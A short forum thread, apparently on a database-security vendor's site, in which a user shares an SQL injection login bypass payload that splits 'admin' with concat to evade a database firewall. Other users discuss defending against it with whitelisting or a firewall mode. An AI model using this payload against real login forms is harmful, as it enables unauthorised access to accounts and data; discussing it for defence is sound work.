Bypassed.. |

Database Security. Database Auditing. Database Caching. Database Masking. Get it now

Bypassed..

Posted January 20th, 2009 by eltan

Another easy bypass to share:

user: any
password: foo') or name=concat('ad','min

On January 20th, 2009 eltan says:

ummm.. looking at the forum, it seems it's not a 'new' subject.. this query looks like legitimate query..

So I'd better use whitelist.

On January 20th, 2009 yuli says:

Hello Eltan

You are right. You need to use firewall mode to cope with such queries.

Best regards,
Yuli